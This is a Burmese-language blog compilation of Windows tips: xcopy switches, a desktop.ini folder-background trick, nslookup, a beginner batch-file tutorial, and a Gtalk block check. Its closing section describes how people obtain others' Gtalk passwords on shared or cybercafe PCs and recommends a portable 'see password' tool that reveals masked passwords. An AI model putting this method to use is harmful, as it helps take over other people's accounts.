xcopy /a "e:\foler name" ဟုေရးေပးရပါမယ္ ...
၂ခုေပါင္းကိုၾကည့္မယ္ဆိုရင္ေတာ့
C:\Documents and Settings\user name\Desktop>xcopy /a "e:\foler name"
အခု ကူးယူတာက unhidden files ေတြကိုပဲ ကူးယူးတာပါ။
hidden files ေတြကိုကူးမယ္ဆိုရင္ေတာ့ /h ထည့္ေပးရုံပါပ ဲ
xcopy /h /a "e:\foler name" ဟုေရးေပးလိုက္ပါ...
အခုက files ကိုပဲကူးတာပါ ...
Folder အလိုက္ကူးမယ္ဆိုရင္ေတာ့ /s ကိုအသံုးျပဳရပါတယ္
xcopy /s "e:\folder name" လို႔ေရးေပးရပါတယ္။
ဒါကလည္း hidden မျဖစ္တဲ့ folder ကိုကူးတာပါ
hidden folder ကိုကူးမယ္ဆိုရင္ေတာ့ /h ကိုပဲထည့္ရပါတယ္
xcopy /h /s "e:\foler name" လို႔ေရးေပးရပါတယ္ ...
အဲဒီလိုကူးယူတဲ့ အခ်ိန္မွာ CMD box မွာ ကူးယူးတဲ့ files ေတြ run တာကိုျပပါတယ္ အဲဒီလို မေပၚခ်င္ရင္ေတာ့ /Q
ထည့္ေပးရပါတယ္
xcopy /h /q /s "e:\foler name" လို႔ေရးေပးရပါတယ္ .................။
Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
iconarea_image=E:\general\picture\DSABayonet211.jpg
iconarea_text=11x00fffffff
ေဖၚျပပါ code မ်ားကို Folder အတြင္းရွိ desktop.ini ဆိုေသာ file အတြင္းသို႔ copy ကူး paste လုပ္ပါ။ ၄င္း ini file သည္ hidden
ျဖစ္ေနပါသည္။ hidden ေဖၚျပီးရွာပါ။ iconarea_image=E:\general\picture\DSABayonet211.jpg ဆိုရာတြင္
မိမိထည့္သြင္းလိုေသာပံု ၏တည္ေနရာ ကိုသိရန္လိုပါသည္။ ဥပမာ. Desktop ေပၚရွိ image.jpg ဆိုေသာပံုကိုထည့္သြင္းခ်င္လွ်င္
iconarea_image=C:\Documents and Settings\User Name\Desktop\image.jpg ဟုေရးႏိုင္ပါတယ္။ အေနာက္က file
extension *.jpg ဆိုတာကိုထည့္ေရးရန္မေမ့ပါႏွင့္။
website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
ပထမဆံုး start >>> Run ကို click.
cmd လို႕ ရိုက္ျပီး ok လုပ္.
အဲဒီမွာ ဒါေလးကို ရိုက္ထည့္ၾကည့္လိုက္.
nslookup www.google.com လို႕ရိုက္ျပီး enter ေခါက္ၾကည့္လိုက္ပါက
google ရဲ႕ IP ေတြက်လာပါလိမ့္မယ္။။မိမိသိခ်င္တဲ႕ website ရဲ႕ အမည္ကို ေျပာင္းရိုက္ၾကည့္ေပါ့
ေပ်ာ္ရႊင္ႏိုင္ပါေစ
(မစၥတာ.ေမာင္ဘစ္ေန)

Bat File သင္ခန္းစာ

www.kmdstudents.wall.fm rapperlay444@gmail.com
အဟမ္း..ကြ်န္ေတာ္ post မေရးတာလဲ ၾကာပါျပီ..ဒီေန့ေတာ့ ေရးျပီဗ်ာ..Documentation လဲျပီးျပီ
ဆုိေတာ့ အားေနတာ..ဟီး…:D ဒီတစ္ခါ ေရးမွာကေတာ့ Bat File ေတြအေၾကာင္းပါ… Bat files
ေတြအေၾကာင္း ကိုသိခ်င္ ေလ့လာခ်င္ၾကတဲ့ သူငယ္ခ်င္းမ်ားအတြက္ပါ…..ကြ်န္ေတာ္ သိထားသမွ်
ကိုအတတ္နိင္ဆံုး ရွင္းျပသြားမွာပါ..နားမလည္ရင္လဲ ကြ်န္ေတာ့္ကိုကုိယ္တုိင္လာေမးလို
့ရပါတယ္..အတတ္နိုင္ဆံုး ရွင္းျပသြားမွာပါ….ကြ်န္ေတာ္က အခု ေလာေလာဆယ္ေျမနီကုန္း KMD
မွာ IDCS တက္ေနပါတယ္.. IDCS-34 ကပါ….:) ကြ်န္ေတာ့္ကိုဆက္သြယ္ခ်င္ရင္ေတာ့
rapperlay444@gmail.com ကိုadd လုိက္ပါ…ကြ်န္ေတာ္က အားလံုးကို
ခင္တတ္ပါတယ္….ကဲ..intro ၀င္ေနတာ နဲနဲၾကာသြားျပီ…စလုိက္ၾကရေအာင္… :P
Bat File သင္ခန္းစာ ၁ (Basic Level)
အေျခခံ အဆင့္ကေန စလုိက္ရေအာင္ေနာ္… နားမလည္ရင္ လဲ ကြ်န္ေတာ့္ကို
ျပန္ေမးနိုင္ပါတယ္..နားလည္တ့သဲ ူကလဲ..နားမလည္တ့သဲ ူကို comment ေတြေပးျပီး
ျပန္ရွင္းျပလုိက္ပါေနာ္…ကြ်န္ေတာ္ကိုယ္တုိင္ကလဲ စာေရးတာကို၀ါသနာ ပါေပမဲ့ စာေရးဆရာ
မဟုတ္လုိ့ စာဖတ္သူတုိ ့ ကသိကေအာင့္ ျဖစ္ရင္ ခြင့္လြတ္ေပး ပါ..:)
ကဲစၿပီး ေဆြးေႏြးၾကည့္ေပးပါ့မယ္။
bat မွာ ပါ၀င္မႈအမ်ားဆုံးန႔ဲ အေၿခခံ အက်ဆုံးေလးေတကြ ို စၿပီးေဆးြ ေႏြးၾကည့္ရေအာင္
အေၿခခံအက်ဆုံး command ၃ ခုကေတာ့
(၁) echo
(၂) @echo off/on န႔ဲ
(၃) pause စတာေတြဘဲၿဖစ္ပါတယ္
www.kmdstudents.wall.fm rapperlay444@gmail.com
ပထမဆုံးအေနန႔ဲ ဥပမာေလး တစ္ခုေရးၾကည့္ပါမယ္
@echo off
echo Hello, Welcome to www.kmdstudents.wall.fm
pause
အဒဲ ါေလးကို ေစ်းအၾကီးဆုံး Windows Tool တစ္ခုၿဖစ္တ့ဲ notepad မွာ ေရးၿပီးေတာ့ test1.bat
ဆိုၿပီးသိမ္းလိုက္ပါ။ :P
ၿပီးရင္ေတာ့ Run လိုက္ပါ။ အမေဲ ရာင္ Screen ထမဲ ွာ ေအာက္မွာ ၿပထားတ့အဲ တိုင္း
ေပၚလာလိမ့္မယ္..:)
ခုနက ဥပမာေလးမွာ echo off အစား echo on သံုးၿပီးေတာ့ ဘာမ်ားထူးၿခားမလဲဆုိတာ ေအာက္က
Code ေလးကိုစမ္းေရးၾကည့္ရေအာင္
@echo on
echo Hello, Welcome to www.kmdstudents.wall.fm
pause
ၿပီးရင္ေတာ့ ခုနကအတုိင္း notepad မွာ ေရးၿပီး test2.bat ဆုိၿပီးသိမ္းၿပီး ၿပန္ Run လုိက္ပါ…
ေအာက္မွာ ၿပထားတ့ဲ အတိုင္း ၿမင္ရပါလိမ့္မယ္။
www.kmdstudents.wall.fm rapperlay444@gmail.com
အဲလိုၿမင္ရပါလိမ့္မယ္။ C:\Documents and Setting\… စတာေတြကေတာ့ တင္ထားတဲ့ Windows ၊
File ဖ႔စဲြ ည္းပုံေတေြ ပၚမူတည္ၿပီး ကၿဲြပားပါလိမ့္မယ္။
အခု အေပၚမွာ ခုနကေရးထားတဲ့ Code ေလးေတြကိုရွင္းၿပေပးပါ့မယ္
က်ြန္ေတာ္တို႔ ဒုတိယေရးလိုက္တ့ဲ code မွာဆိုရင္ @echo on ကိုသုံးလိုက္တ့ဲ အတကြ ္ File
ထားရာလမ္းေၾကာင္းက Program Code တစ္ခါ Run တုိင္းလာၿပေနပါတယ္။
အကယ္လို႔မ်ား ပထမစစခ်င္းမွာ ေရးခ့တဲ ့ဲ @echo off ကို သုံးထားမယ္ဆိုရင္ေတာ့ မည္သည့္
လမ္းေၾကာင္းကိုမွ်မေပၚေစဘနဲ ႔ဲ ကိုယ္လိုခ်င္တ့ဲ စာသားကို ရွင္းလင္းစြာေပၚေစမွာၿဖစ္ပါတယ္။
အဒဲ ါကိုၾကည့္ခ်င္းအားၿဖင့္ @echo on န႔ဲ off ရဲ႕ ၿခားနားခ်က္ကို သိနိုင္ၿပီးေတာ့ @echo off ကို
သံုးတာ ပိုေကာင္းတယ္ဆုိတာကိုနားလည္သြားမယ္ထင္ပါတယ္။
ေနာက္တစ္ဆင့္အေနန႔ဲ echo အေၾကာင္းရွင္းၿပပါ့မယ္
က်ေနာ္တုိ႔ဟာ ရိုးရိုး စာေၾကာင္းတစ္ေၾကာင္းေလာက္ကိုProgram Run တုန္းၿပခ်င္တယ္ဆုိရင္
(ဥပမာ ခုနက Program ထဲကလုိ“Hello, Welcome to www.kmdstudents.wall.fm” ဆုိတဲ့
simple phrase တစ္ခုေလာက္ကိုဘဲ ၿပခ်င္တယ္ဆုိရင္ေတာ့ echo ကိုေဖာ္ၿပခ်င္တ့ဲစာသားေရွ႕မွာ
ထားၿပီးေရးနုိင္ပါတယ္.
အခု pause အေၾကာင္းရွင္းၿပေပးပါမယ္
pause ဆုိတာကေတာ့ ရပ္တာပါ (အဲဒါကေတာ့ မင္းေျပာမွလား ဆုိျပီးေတာ့ မေျပာလုိက္နဲ့ေနာ္..:P)
batch file ကို run ေနရင္းန႔ဲ ခဏနားခ်င္ရင္ pause ကို သုံးပါတယ္။ သူ႔ကိုသုံးရင္ batch file က
က်ေနာ္တုိ႔ဆီက key တစ္ခုခု မႏွိပ္မခ်င္း အလုပ္မလုပ္ေတာ့ပါဘူး။ key
www.kmdstudents.wall.fm rapperlay444@gmail.com
တစ္ခုခုႏွိပ္လိုက္မယ္ဆုိရင္ေတာ့ သူလုပ္စရာရိွတာဆက္လုပ္သြားပါလိမ့္မယ္။ ခုနက Program ၂
ခုမွာ ဆုိရင္ေတာ့ pause ၿပီးေတာ့ ဘာမွ ဆက္မေရးထားလို႔ဘာအလုပ္မွ ဆက္လုပ္မွာ မဟုတ္ဘဲ
program ကေန ထြက္သြားမွာၿဖစ္ပါတယ္။
pause ကိုထပ္မံနားလည္ေစဖို႔ ေအာက္က ဥပမာေလးကိုေလ့လာၾကည့္ပါမယ္
@echo off
echo Hello Welcome to KMD Computer Centres
pause
echo I am testing pause function
pause
အဲဒါကိုအေပၚက ဥပမာေတြ အတိုင္း Save ၿပီး Run ရင္ေတာ့ အေၿဖအတုိင္းေဖာ္ၿပပါလိမ့္မယ္
အဲဒီ့ Program ေလးကိုစမ္းၿပီးရင္ေတာ့ pause ကိုနားလည္သြားေလာက္ၿပီထင္ပါတယ္။
အခုေနာက္ထပ္ နည္းနည္း အဆင့္ၿမင့္တ့ဲ Command ေတကြ ို ေလ့လာၾကည့္ရေအာင္
msg န႔ဲ cls အေၾကာင္းကို အရင္ေလ့လာၾကည့္ပါမယ္
အရင္အတိုင္း ဥပမာေလးေတနြ ႔ဲ ေလ့လာၾကည့္ရေအာင္
Notepad ကိုၿပန္ဖြင့္ၿပီးေတာ့ ေအာက္က Code ေလးေတြကိုရိုက္ထည့္ၾကည့္ပါမယ္….
www.kmdstudents.wall.fm rapperlay444@gmail.com
@echo off
echo Hello I am Zin Ko Oo
pause
cls
echo I am testing cls and msg commands
msg * Bye Bye. See you online. My mail is rapperlay444@gmail.com
pause
ၿပီးရင္ေတာ့ test3.bat န႔ဲ သိမ္းၿပီး Run လိုက္ပါ
သူ႔အေၿဖကေတာ့ ေအာက္ပါအတိုင္းၿဖစ္ပါလိမ့္မယ္
(မွတ္ခ်က္၊၊ ၊၊ ဒီေနရာ ေရာက္လို႔ အကယ္လို႔မ်ား က်ေနာ္တို႔ဟာ သူေၿပာတ့ဲ အတိုင္း key တစ္ခုခုကို
ႏွိပ္လိုက္မယ္ဆုိရင္ program က cls ဆုိတဲ့ command ရဲ႕ အလုပ္ကိုဆက္လုပ္မွာ ၿဖစ္ပါတယ္။
အလဲ ို လုပ္မယ္ဆိုရင္ေတာ့ ခုနက ေပၚခ့တဲ ့ဲ Hello I am Zin Ko Oo ဆိုတာၾကီးက
ေပ်ာက္သြားမွာၿဖစ္ပါတယ္။
ၿပီးရင္ cls ရဲ႕ ေအာက္က echo ဆုိတဲ့ command အတြက္အလုပ္လုပ္ပါလိမ့္မယ္…key တစ္ခုခုကို
ႏွိပ္လုိက္တယ္လို႔သေဘာထားၿပီး ဆက္ၾကည့္ၾကရေအာင္….အခုဆုိရင္ေတာ့ ေအာက္မွာ ၿပထားတဲ့
အတုိင္းျဖစ္ေနပါျပီ…
www.kmdstudents.wall.fm rapperlay444@gmail.com
(ဒီစာေပၚၿပီးတာန႔ဲ message box တစ္ခုက်လာပါလိမ့္မယ္)
နားလည္ပါ့မလားေတာ့မသိဘူး..ကြ်န္ေတာ္ကေတာ့ အတတ္နုိင္ဆံုး ေတာ့ရွင္းျပထားတာပဲ…
အဒဲ ီ့ေတာ့ cls န႔ဲ msg ကို ဘယ္လိုနားလည္လိုက္ပါသလဲ….
အစ္ကို၊ အစ္မ တို႔ဘယ္လိုနားလည္လဲေတာ့မသိဘူး ၊ ကြ်န္ေတာ္ေၿပာၿပခ်င္တာကေတာ
့-cls ဆုိတာရဲ႕ အရွည္ေကာက္က Clear Screen ပါ (သူငယ္ခ်င္းတုိ့သိၾကမွာပါ..:P ၊
ကနြ ္ပ်ဴတာကိုင္ဖူးရင္ေတာင္ သိပါတယ္) သူက Screen မွာရိွတ့ဲ စာသားေတကြ ို ရွင္းထုတ္
(ဖ်က္ထုတ္) ေပးရံုသက္သက္ပါ။
-msg ဆုိတာကေတာ့ Message ရဲ႕ အတုိေကာက္ၿဖစ္ၿပီးေတာ့ သူက User ကိုMessage Box
တစ္ခုခ်ေပးတာၿဖစ္ပါတယ္။ GUI ေလးန႔ေဲ ပါ့…
ေနာက္ထပ္ Command ေတြ အေၾကာင္းဆက္ေလ့လာလုိက္ရေအာင္….
အခုတစ္ခါရွင္းၿပခ်င္တာကေတာ့ rem နဲ႔ start ဆုိတာေလးေတြပါ…
အဲဒါေတြကိုစမ္းဖို႔အတြက္Folder တစ္ခုကိုTest ဆုိတဲ့ နာမည္နဲ႔ ေဆာက္ေပးပါ…
ၿပီးရင္ အဲဒီ့ထဲကိုစိတ္ၾကိဳက္ပံုတစ္ပံုထည့္ၿပီးေတာ့ testpic ဆုိတဲ့ နာမည္ေပးလိုက္ပါ…
www.kmdstudents.wall.fm rapperlay444@gmail.com
ေနာက္တစ္ဆင့္အေနန႔ဲ Notepad ကို ဖငြ ့္ၿပီး ေအာက္မွာရိွတ့ဲ Coding ေတြကို ရိုက္ထည့္ေပးပါ…
@echo off
echo We are testing start and rem
rem title Test4
start testpic.jpg
pause
ၿပီးရင္ေတာ့ test4.bat ဆိုၿပီး ခုနက Test ဆုိတဲ့ Folder ထဲမွာ save ၿပီး Run လုိက္ပါ. ေအာက္မွာ
ၿပထားတဲ့ အတုိင္းၿမင္ရပါလိမ့္မယ္။
(key တစ္ခုကိုထပ္ႏွိပ္လုိက္ရင္ ခုနက စိတ္ၾကိဳက္ေရြးၿပီးေတာ့ ထည့္ထားတဲ့ testpic.jpg ကို
ၿမင္ရမွာပါ။ ပံုရဲ႕ extension ကိုေကာ ေရြးလိုက္တဲ့ပံုေပၚမူတည္ၿပီး .png ၊ .gif ၊ .jpg
စသည္ၿဖင့္ကြဲပါလိမ့္မယ္)
အဲဒါဆုိရင္ေတာ့ အေပၚက Program ကိုနားလည္ၿပီထင္ပါတယ္။
-start ဆုိတာကေတာ့ စိတ္ၾကိဳက္file တစ္ခုကိုေခၚ run ေပးတာၿဖစ္ပါတယ္။ သူ႔အေနာက္မွာ ဘာမွ
မပါဘနဲ ႔ဲ start သီးသန္႔ ေရးခ့မဲ ိရင္ေတာ့ ေနာက္ထပ္ အမည္းေရာင္ screen ေပၚလာမွာၿဖစ္ပါတယ္။
-rem ဆုိတာက တကယ္ေတာ့ remark ကိုေခၚတာပါ. ဒါေပမယ့္သူက bat file run ေနတုန္းမွာ
မၿမင္ရတတ္ပါဘူး. (ဘယ္အခ်ိန္ၿမင္ရလည္းေတာ့ ကြ်န္ေတာ္လည္းမသိဘူး သိခ်င္ရင္ေတာ့
ရွာလိုက္ၾကေပါ့ေနာ္ ျပီးရင္ကြ်န္ေတာ့္ကိုလဲ ျပန္ေျပာျပေနာ္..:P)
အခု goto ၊ set န႔ဲ if ကို ရွင္းပါေတာ့မယ္…
www.kmdstudents.wall.fm rapperlay444@gmail.com
အခုမွစေလ့လာသူေတြအတြက္ဒီအပိုင္းက နည္းနည္းစၿပီးေတာ့ ရႈပ္လာမွာၿဖစ္လို႔ေသခ်ာေလး
လိုက္လုပ္ၾကည့္ေစခ်င္ပါတယ္။
ေအာက္မွာေပးထားတ့ဲ Code ေတကြ ို Notepad ထမဲ ွာ ရိုက္ထည့္လိုက္ပါ…
@echo off
echo This is a testing program
echo If you want to see 2+2, type 1 and press enter
echo If you want to see a picture, type 2 and press enter
set /p option=
if ‘%option%’==’1′ goto :math
if ‘%option%’==’2′ start testpic.jpg
:math
echo 2+2
pause
ၿပီးရင္ေတာ့ ခုနက Folder ထဲမွာဘဲ test5.bat ဆုိၿပီး save ၿပီးရင္ Run ပါမယ္။
Run လိုက္ရင္ေတာ့ ေအာက္မွာ ၿပထားတ့ဲ အတိုင္းၿပပါလိမ့္မယ္…
(ဒီအဆင့္ကို ေရာက္ရင္ေတာ့ 1 န႔ဲ 2 နွစ္ခုထကဲ ၾကိဳက္ရာတစ္ခုကို ေရြးနိုင္ပါတယ္)
www.kmdstudents.wall.fm rapperlay444@gmail.com
(၁ ကိုေရြးမယ္ဆုိရင္ေတာ့ ေအာက္က 2+2 ဆုိတာကိုၿပေပးပါလိမ့္မယ္)
(၂ ကို ေရးြ ခ့မဲ ယ္ဆိုရင္ေတာ့ ထည့္ထားတ့ဲ စိတ္ၾကိဳက္ပုံေလးထကြ ္လာပါလိမ့္မယ္…)
(ၿပီးရင္ေတာ့ ထုံးစံအတုိင္း Press any ….. ပါဗ်ာ )
အေပၚကရလာတ့ဲ အေၿဖကို ၾကည့္ပါ ၿပီးရင္ မူရင္း coding ကို ၿပန္ၾကည့္ၾကည့္ပါ…
goto ရဲ႕ အလုပ္လုပ္ပံုကိုနားလည္လာပါလိမ့္မယ္။ goto ဆုိတာကေတာ့ Coding ထဲမွာပါမယ့္
နာမည္တစ္ခုေပးထားတဲ့ program အပိုင္းေလးတစ္ခုဆီကိုညႊန္းခ်င္ရင္သံုးပါတယ္။
(အၿခား Programming Language အေနန႔ဲ ဆိုရင္ Function ေတြ Procedure ေတကြ ို ေခၚတ့ဲ
အလုပ္လုပ္ပါတယ္/ သူငယ္ခ်င္းတုိ့သင္ဖူး၊ၾကားဖူးမွာပါ.. Procedure call တာေလ..:P)
အေပၚက Program ထဲမွာဆုိရင္ က်ေနာ္တုိ႔ဟာ :Math ဆိုတာကိုသံုးခဲ့တာေတြ႕မွာပါ…
အဒဲ ီ့ Math ေအာက္မွာ ေရးထားတ့ဲ ဟာေတအြ ားလုံးဟာ Math န႔ဲ ဆိုင္တာေတၿြဖစ္ပါတယ္။
အဲဒါဆုိရင္ goto :Math ဆုိၿပီးေရးလိုက္တဲ့ အခါမွာေတာ့ Program ရဲ႕ အလုပ္လုပ္ၿခင္းေတြဟာ
Math ဆီကိုေရာက္သြားၿပီး Math ရဲ႕ ကိစၥေတြကိုလုပ္ေဆာင္ပါလိမ့္မယ္။ ဒီေလာက္ဆုိgoto
အေၾကာင္းသိေလာက္ၿပီထင္ပါတယ္။
(မသိေသးရင္ လည္း ၿပန္ဖတ္ေပါ့. နားမလည္ရင္ေတာ့ တၿခားသူကိုcomment
ေပးျပီးေမးလုိက္ေနာ္…ကြ်န္ေတာ္ အရည္အခ်င္းမရိွလို႔ ဒီေလာက္လြယ္တာကို
နားလည္ေအာင္မေရးနုိင္တာလုိ႔လည္း သတ္မွတ္လုိက္ပါ။ :P)
ခုနက Coding မွာပါတ့ဲ set န႔ဲ if ရ႕ဲ အေၾကာင္းစရွင္းပါေတာ့မယ္
သူတို႔၂ ခုကိုေရာၿပီးရွင္းမွာ ၿဖစ္ပါတယ္… နားလည္ေအာင္ ေသခ်ာဖတ္ေပးပါေနာ္...:)
set ဆုိတာကေတာ့ တစ္ခုခုကိုသတ္မွတ္တာပါ
www.kmdstudents.wall.fm rapperlay444@gmail.com
သူ႔ကိုေရးရမယ့္တကယ့္Syntax ကေတာ့
set variable=[string] ၿဖစ္ပါတယ္။
ဒါေပမယ့္ If န႔ဲ တဲြသုံးခ်င္တ့ဲ အခါမ်ိဳးတို႔ မွာေတာ့ set X စသည္ၿဖင့္ X တစ္လုံးတည္းကို Variable
ေၾကၿငာေလ့ရိွပါတယ္။ အလဲ ို ေၾကၿငာခ့တဲ ယ္ဆိုရင္ေတာ့ X ထကဲ ို ၾကိဳက္တဲ့ Variable
၀င္လာခြင့္ရိွပါတယ္။
Set အေၾကာင္းသိခ်င္ရင္ေတာ့ Run>>cmd>>set /? ဆုိၿပီးရိုက္ထည့္လိုက္ပါ.. ၿပီးရင္ေတာ့
ကိုယ့္ဟာကိုယ္ဆက္ဖတ္နုိင္ပါတယ္
ခုနက Program ကိုၿပန္ဆက္ပါမယ္…
က်ေနာ္ တို႔ခုနက Code ထဲမွာ set /p option= ဆိုၿပီးေတာ့ ေရးခဲ့ပါတယ္
အဲဒါကိုset choice ဆုိၿပီးေတာ့ အလြယ္ေၿပာင္းၿမင္ၾကည့္ရေအာင္ (/p ပါရင္ရႈပ္ေနမွာဆုိးလို႔ပါ..
ၿပီးေတာ့ ကြ်န္ေတာ္ကို္ယ္တုိင္လဲ ေသေသခ်ာခ်ာမသိေတာ့လုိ့ပါ…သိတဲ့သူေတြရွိရင္ လဲ
ျပန္ရွင္းျပေပးပါေနာ္…)
အေပၚက Program ကိ္ုset choice ဆုိၿပီး ေၿပာင္းေရးလိုက္ၿပီဆုိပါစုိ႔
ဒါဆိုရင္ အကယ္လို႔ က်ေနာ္တို႔သာ 1 ကို ရိုက္မယ္ဆိုရင္ choice ဆိုတ့ဲ variable ထကဲ ို 1
၀င္သြားပါလိမ့္မယ္။
ၿပီးရင္ေတာ့ ခုနကလိုဘဲ :Math ဆုိတဲ့ အလုပ္ကိုဆက္လုပ္ပါလိမ့္မယ္
အဲဒီ့ ၿပင္ေရးလိုက္တာေလးကိုေအာက္မွာ ၿပန္စမ္းေရးၾကည့္ရေအာင္
set choice
if ‘%choice%’==’1′ goto :math
ဒါဆုိရင္ေတာ့ အကယ္လို႔က်ေနာ္တို႔က 1 လုိ႔ရုိက္ထည့္ရင္ choice ထဲကို1 ၀င္မယ္ၿပီးရင္ေတာ့
Math ဆိုတ့ဲ function အလုပ္ကို လုပ္ပါလိမ့္မယ္.(if မွာပါတ့ဲ % ဆိုတာေတကြ ိုေတာ့
ကြ်န္ေတာ္ကိုယ္တုိင္လဲ မသိေတာ့လုိ့ခ်န္လွပ္ထားခဲ့ပါရေစ သိတဲ့သူရွိရင္လဲျပန္ရွင္းျပေပးပါေနာ္..:D)
အခုက Basic အပိုင္းဆုိေတာ့ အဲဒါေတြ မသိေသးးလဲ ကိစၥမရိွေသးပါဘူး….
www.kmdstudents.wall.fm rapperlay444@gmail.com
ဒီေလာက္ဆိုရင္ if ၊ set န႔ဲ goto ကို နားလည္သာြ းၿပီလို႔ထင္ပါတယ္
ဟုတ္ပါၿပီ အခုအခ်ိန္ထိက်ေနာ္ရွင္းလာသမွ်အားလုံးဟာ အလြယ္တကာ့ အလြယ္ဆုံး
အေၿခခံမ်ားၿဖစ္ပါတယ္..
Bat File သင္ခန္းစာ ၂ (Advance Level)
ကဲ..အခုလာမွာက ခုနက သင္ခန္းစာရ့ဲ အဆက္ေပါ့.. ကို္ယ့္ကို ကို Advance Level ေရာက္သာြ းျပီလို
့သေဘာထားလိုက္ေနာ္…:P
ကဲ..အခုကေန စျပီး စေဖာပါေတာ့မယ္.အဲဟုတ္ပါ၀ူး..စေျပာပါေတာ့မယ္…:D
အခု ကြ်န္ေတာ္ ပထမဆုံး စေၿပာခ်င္တာကေတာ့ call နဲ႔ exit တုိ႔အေၾကာင္းၿဖစ္ပါတယ္။
အရင္တေခါက္ကလိုဘဲ Notepad ထသဲ ာြ းၿပီးေတာ့ ေအာက္မွာ ရိွတ့ဲ Code ေတကြ ို
ရိုက္ထည့္လိုက္ပါ။
@echo off
echo Wow.. I am very sleepy. Now, It’s 2:30 AM.
call call.bat
pause
exit
ၿပီးရင္ေတာ့ Folder အသစ္တစ္ခုတည္ေဆာက္ၿပီး အဲဒါကိုadv1.bat ဆုိတဲ့နာမည္နဲ႔ သိမ္းလိုက္ပါ။
ေနာက္တစ္ခါ Notepad ကို ၿပန္ဖငြ ့္ပါ။ ၿပီးရင္ ေအာက္မွာ ရိွတ့ဲ Code ကို ထပ္ရိုက္ပါ။
www.kmdstudents.wall.fm rapperlay444@gmail.com
@echo off
echo I Love *You* (ဒီ post ကိုဖတ္တဲ့ ေကာင္မေလးေတြကိုေျပာတာ မဟုတ္၀ူးေနာ္..:D)
pause
ၿပီးရင္ေတာ့ ခုနက Save ထားတဲ့ adv1.bat နဲ႔ တူတူFolder ထဲမွာ call.bat ဆုိတဲ့နာမည္နဲ႔ Save
လုိက္ပါ။
ေနာက္တစ္ဆင့္အေနန႔ဲ ပထမေရးထားတ့ဲ adv1.bat ဆိုတာကို Run လိုက္ပါ။
ေအာက္မွာ ၿပထားတ့ဲ အတိုင္း Screen မွာ ေပၚလာပါလိမ့္မယ္။
အဲဒါကိုၾကည့္ခ်င္းအားၿဖင့္ exit က ဘာအလုပ္လုပ္တယ္ဆုိတာ သိမွာပါေနာ္..
ေနာက္တစ္ခုအေနန႔ဲ call ပါ… call ဆိုတာကေတာ့ ေနာက္ထပ္ batch file တစ္ခုကို ေခၚသုံးတာပါ။
ဒီေလာက္ဆို call န႔ဲ exit အေၾကာင္းသိေလာက္ၿပီထင္ပါတယ္။
ကြ်န္ေတာ္လဲ အဲေလာက္ပဲ သိတာ မုိ ့လို့ အဲေလာက္ပဲတင္ျပေပးလုိက္တာပါ..ဖတ္ေပးတဲ့သူေတြအား
လံုးကိုလဲ ေက်းဇူးတင္ပါတယ္….ေနာက္ထပ္ post ေကာင္းေကာင္းေလးေတြ ထပ္တင္နုိင္ေအာင္လဲ
ၾကိဳးစားသြားမွာပါ…
အားလံုးကိုခင္မင္လ်က္..
Zin Ko Oo

Monday, March 11, 2013

2. Galk မွာ ကိုယ့္ကို ဘယ္သူေတြ block လုပ္ထားသလဲ... စမ္းသပ္နည္း....




Gtalk မွာ ကိုယ္ မ chat ခ်င္တဲ့/မေက်နပ္တဲ့ သူကို block လုပ္လို႔ရတယ္ဆိုတာ
Aားလံုးသိၿပီးသား ျဖစ္မွာပါ။
ကိုယ္ block လုပ္ခ်င္တဲ့သူရဲ႕ ID ေပၚမွာ right-click လုပ္ၿပီး block ကို ေရြးလိုက္ရံုပါပဲ။
ကိုယ့္ဘက္မွာ AဲဒီID ေပ်ာက္သြားၿပီး၊ သူ႔ဘက္မွာေတာ့ ကိုယ္က offline ျဖစ္ေနမွာပါ။
(သူမ်ားကိုသာ block လုပ္ခ်င္တာ...ကိုယ့္ကို block လုပ္တာကိုေတာ့
သိပ္ေက်နပ္တာမဟုတ္ဘူး။ ဟုတ္တယ္မဟုတ္လား..။ )
Aဲဒီေတာ့ ကိုယ့္ကို block လုပ္ထား/မထားကို စစ္ၾကည့္လို႔ရပါတယ္။
ပထမဆံုး ကိုယ္သိခ်င္တဲ့သူကို ေရြးပါ..ၿပီး.. 'Send voicemail' button ကိုႏွိပ္ၿပီး call
လုပ္လိုက္ပါ။
(သူ႔ကို offline Aေနနဲ႔ပဲျမင္ရမွာမို႔ AဲဒီAခ်ိန္မွာ 'Send voicemail' button ပဲေပၚေနမွာပါ။)
မိန္းကေလးသံနဲ႔ 'The person you are trying to reach is unavailable. Please leave a
message...' ဆိုတဲ့ Aသံမ်ိဳး ၾကားရရင္ေတာ့ ကိုယ့္ကို block လုပ္မထားပါဘူး။
တကယ့္ကို offline ျဖစ္ေနတာပါ။
Aဲလိုမဟုတ္ပဲ ေခၚလိုက္တာနဲ႔က် က်သြားတယ္၊
ဘာသံမွလည္းမၾကားရဘူးဆိုရင္ေတာ့...
စိတ္မေကာင္းပါဘူး...သင့္ကို block လုပ္ထားတာပါ...
ကဲ...ကိုယ့္ကို ဘယ္သူေတြ block လုပ္ထားသလဲသိခ်င္ရင္ စမ္းၾကည့္လိုက္ပါလား...။
သိလာပါလိမ္႕မယ္....။

Sunday, February 17, 2013

Gtalk နဲ ့ပတ္သက္ရာေလးေတြ ဖတ္ဖူးမိတာတခ်ိဳ ့ မွ်လိုက္ပါတယ္





မိမိ gtalk ကို ဘယ္လို ကာကြယ္ၾကမလဲ
ဆိုင္ဘာမွ သံုးသူမ်ား အတြက္ (သို႔) သူမ်ား PC မွာ သံုးမယ္ဆိုရင္။
ေတာ္ေတာ္မ်ားမ်ားက Gmail password hack မယ္ဆိုတာနဲ႔ အရမ္းကို
စိတ္၀င္စားၾကတယ္ဗ်။ ဘာလို႔သူမ်ား password ကို သိခ်င္ၾကမွန္း မသိဘူး။
ဘာမွ ေကာင္းက်ိဳး မရိွဘူး။ ေရးတဲ႔လူေတြ ရိွေတာ႔လည္း
ေျပာျပရေတာ႔မွာေပါ႔ဗ်ာ။
ေရးၾကတာကေတာ႔ connection က်ေအာင္လုပ္ gtalk က password ေတြ ••••
အျဖစ္ေပၚလာရင္ သူတို႔ေျပာတဲ႔ Software နဲ႔ ၾကည္႔ေပါ႔ဗ်ာ။ အင္း ...
အဲဒီထက္ေကာင္းတဲ႔နည္းရိွတယ္ဗ် ... see passwoord လို႔ ေခၚတယ္။
ဒီေကာင္ေလးမွာ မွန္လိုပံုစံေလးပါတယ္။ password ေနရာမွာ မွန္ဘီလူး
လိုၾကည္႔လိုက္ရင္ေပၚၿပီပဲ။ portable လည္းရိွပါတယ္။
